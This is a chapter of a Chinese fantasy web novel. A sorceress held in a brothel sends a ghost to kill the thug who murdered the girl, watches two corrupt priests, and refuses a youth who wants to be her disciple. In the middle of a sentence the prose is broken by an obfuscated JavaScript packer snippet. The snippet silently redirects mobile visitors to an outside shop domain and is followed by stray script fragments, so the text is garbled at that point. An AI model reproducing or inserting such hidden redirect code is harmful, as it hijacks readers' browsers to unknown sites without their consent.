云珂看着阿槐瞳孔里浮现出了疑惑,指尖捏起海棠花,听着鬼花低声言语。
原来死在这个阿三手里的少女不少,其中不乏被他先奸后杀了的,其中就包括阿槐同村的一个女孩,被阿三欺负之后,撞墙而死,阿槐目睹了这一切,随后阿三看弄出人命怕李菊香知道了要收拾他,于是,干脆一不做二不休,活生生地就将阿槐给打死了。
随后告诉李菊香,这两个小丫头死也不干这一行,撞墙死了。
“尤其是你——”
阿三伸出手指着云珂的鼻子骂道:“来了这都有小半年了,打也没少挨,可偏偏就是不长记性,像你这么漂亮的女人,那就是老天爷赏饭吃,锦衣玉食的日子不好过?非要在这破柴房里挨打,吃糠咽菜,你才舒坦!”
阿三顶着那张丑恶的嘴脸,胡乱骂咧扬长而去,柴门一锁,姜淮就跟饿狗扑食一般,扑了上去,可终究是云珂的脚更快,一脚踹翻了那些糠野菜、烂窝头。
“诶,你干什么呢!你自己不吃,我还要吃呢!你要饿死我啊,我跟你说你少——”
云珂面色阴沉,抬腿一脚将这柴门踹烂,一记凌厉的眼神扫视而去,姜淮立刻识趣地闭上了嘴。
少女把玩着海棠花枝,指尖渗出明艳火红的灵力,随手一挥,花瓣顷刻间散开,附着在在了阿槐的魂魄,极强的红色灵力环绕在云珂的周身,朱唇低语:“山有灵兮,尔主召逢,折枝纵鬼,供吾驱策。”
躲在草堆里的阿槐诡异的抬起了头,那一瞬游魂空洞的瞳孔变成了嗜血的殷红,云珂在她的耳边轻声言语,犹如来自地狱的指令:“撕了他——”
阿槐在得到指令的一瞬间,纵身数百米,云珂转头视线对上了姜淮,面色不善,瞳孔里却十分清晰地传递了一个信息:哪凉快哪待着去,要是敢多管闲事,就废了你。
姜淮倒也乖觉,十分谦逊敬重地朝着云珂行了个礼,识趣地滚到那边的草堆里,闭目装睡,对于刚才所发生的一切选择性眼瞎。
云珂鞋尖一踮跃上了房檐的瓦砖上查看,只见两名穿着海棠流云袍的道士,一胖一瘦,长得肥头大耳,贼眉鼠眼的,云珂挑了挑眉,嘴角冷笑。
也不知这琅琊杜氏如今是谁做家主,门中道士居然敢这么光明正大地进出窑子,如今这世道还真是变了,这些自诩名门正派的道士演都不演了,直接就到花间柳巷借宿了?
“二位道爷就放心好了,这口枯井我可是从来不让人碰的,不会出岔子的。”
李菊香那张老脸上堆满了谄媚:“只是这一次还希望两位道爷多多地贴些符咒,我们这皮肉营生的地方阴气重,有些客人非说我们这儿风水不好,搞得我们这姑娘都卖不出去——”
瘦道士懒得听李菊香在这扯闲篇,不耐烦地出声打断,掐着尖细的嗓子进行敲打。
“行了,行了。这事好办得很,不过你们这儿总得给我们哥俩意思吧。”
那胖道士满脸横肉,和瘦道士两人相视一笑,转身对着李菊香阴阳怪气:“怎么着啊?我们俩大老远地来办事儿,就让我们干站着,在这冷风口里喝西北风啊!”
“二位道爷瞧您说的,我哪敢啊。”老鸨面上笑嘻嘻的,心里恨得牙根都痒了,强忍着肉疼,从衣袖里拿出几张大额银票恭恭敬敬地递了上去,“您二位的包间我已经找人打扫出来了,一会儿好酒好菜,还有新来的舞娘一准送到你们房中去。”
“哎——这些都不着急。”那瘦道士甩了甩手中轻飘飘的银票,眼睛眯细拉长,嘴角抖动,“你这是把我们哥俩当什么了?”
老鸨嘴角的笑一僵,笑也实在是挂不上脸了,磨磨蹭蹭地从袖口里掏出几根金条,老大不情愿地塞到了这两个道士手里,那两个道士顿时眉开眼笑,嘴里还不住地催促:“赶紧的吧,这一路上车马行船,可把我们哥俩给颠坏了,好酒好菜伺候着,走起呀。”
老鸨目送着两位道士进了包房,转身的一瞬间全没了刚才的低眉顺眼,满脸阴狠五官狰狞,张牙舞爪,嘴里不住地怒骂:“呸!都是些不吃粮食的东西。老天啥时候劈个雷劈死这两个玩意儿呢——”
云珂看着那老鸨气急败坏的滑稽模样给逗笑了,墨色的瞳孔里闪过一丝杀气:“放心,一会儿本姑娘就送你们通通上路,一个都少不了。”
云珂坐在灰瓦屋檐之上,手边是她在伙房顺的两个食盒,里面装着白灼虾、清炒莴苣、烤羊腿,食盒的最下面一层还装着一盒樱桃,云珂看得口水直冒:“这才是人该吃的饭食。”
打完了牙祭,云珂舒舒服服地坐在屋檐之上吹着晚风喝着小酒,撩起裤腿,白皙的脚踝上原本三条黑色的咒枷隐去了一条,还有两颗脑袋,就先放在他们的肩上,再过一个夜吧,那两个胖瘦道士,虽是两个酒囊饭袋,可终究是玄门中人,还是有点儿三脚猫的功夫在身上的,光靠一个阿槐这样一个低等的小鬼,去了也是送死的命,云珂不想打草惊蛇。
“啪嗒——啪嗒——”
骨节分明的指尖打着响指,云珂秀眉微微皱起。
这地方阴气这么重,可一个晚上了,她也就招出来了那么几个弱得简直虚无缥缈的游魂,这里边定有蹊跷,难道说那些鬼都被镇压到了附近的某个地方,又或者说是被拴起来了?
回到那破柴房,云珂大发慈悲地甩了一个食盒给姜淮:“喂,起来吃饭了。”
说完云珂转身就走向柴房的另一边,一副完全不想搭理他的模样,姜淮看着美酒佳肴,强忍住嘴里的口水,走到云珂身边扑腾一声,双腿就跪下来了。
“求姑娘收我为徒吧,我也想要学
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17879281|212437||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
本事,不想斗鸡走狗地过完这一生,姑娘若是收我为徒,我日后定将当作家中老母……”
姜淮说到此处想起了自己的亲生母亲心下只觉得恶寒,连忙改口,“不对,是父亲,我一定将姑娘当作亲生父亲一样敬重,我定会好好孝敬您的,还望姑娘收我为徒吧!”
云珂眼里闪过一丝诧异,原以为这小子不过是个愤怒少年,如今看来也算是个慧眼识珠的,脑瓜子也算有几分机灵劲儿,不过这小子要是知道他现在跪拜的,正是他口中的女魔头——楚巫云珂。
也不知这小子脸上的颜色有多精彩,指不定一阵青一阵白一阵红的。
“你起来吧,我无心收徒,识相着点儿,吃完就躺在那边的草堆里装死。”
说完,云珂就翻身睡觉了,姜淮咬着牙、面露不甘,倒也是个懂眼色的,乖乖地照做,没有死缠烂打,两个人就这样相安无事过了一夜。
次日清晨,浮光破晓,仲春的浓雾还未散去,一声凄厉的惨叫划过了清晨。
“啊——死人啊——”
后巷的拐角处,阿三的尸体被早起来开门的小子发现了,这一嗓子吼得梦里的人都惊醒了。
那小子在极度的惊恐之中,竟然还不忘将阿三的死讯,上蹿下跳,奔走相告,不到一盏茶的工夫,但凡是个有耳朵的,就都知道阿三被厉鬼锁魂要了命。
李菊香正对着铜镜画眉,乍然听到这消息,惊的画眉的手腕都跟着抖了两抖,铜镜里赫然出现了关公竖眉。可毕竟是开了多年窑子窝,李菊香很快就镇定了下来。
只是这一屋子的姑娘小厮没一个不害怕的,窃窃私语,越说越邪乎。不到一会儿竟然有好几个胆小的就要跟她告假回家,李菊香心里开始打鼓,也顾不上画眉了,将手中的茶碗往地上摔了个粉碎,整个屋子都安静下来了。
“谁要是再敢给我胡说八道,我就撕了他的嘴,拔了他的舌头。”
李菊香双手叉着她的水桶腰:“你们怕什么——两位道爷昨天不是已经来了嘛,他们来就是给咱们除邪祟的,只要今天太阳升起了,老娘的窑子店照样得开,一个个的还杵在这干吗呢,都给我干活去!”
李菊香交代了身边的小厮,今天要是有人敢偷摸地跑,就打折他们的腿,至于阿三的尸体,她可没有闲钱安葬,只吩咐先留着,等道长看完之后,随便在后院里找一块破草席子,卷了就扔到河里算了,随后她也顾不得收拾了,拎起裙摆抬起腿,就往那两个道士的住所奔去了。
“道长啊——大事不好了呀!枯井里的妖孽要压制不住了呀!”
李菊香不愧是窑子窝里的领袖人物,就算是哭还能哭出花样来——撼门大哭。大致动作就是哭天抢地的同时,用头、手拍门,活脱脱的一副痛不欲生,寻死觅活的模样。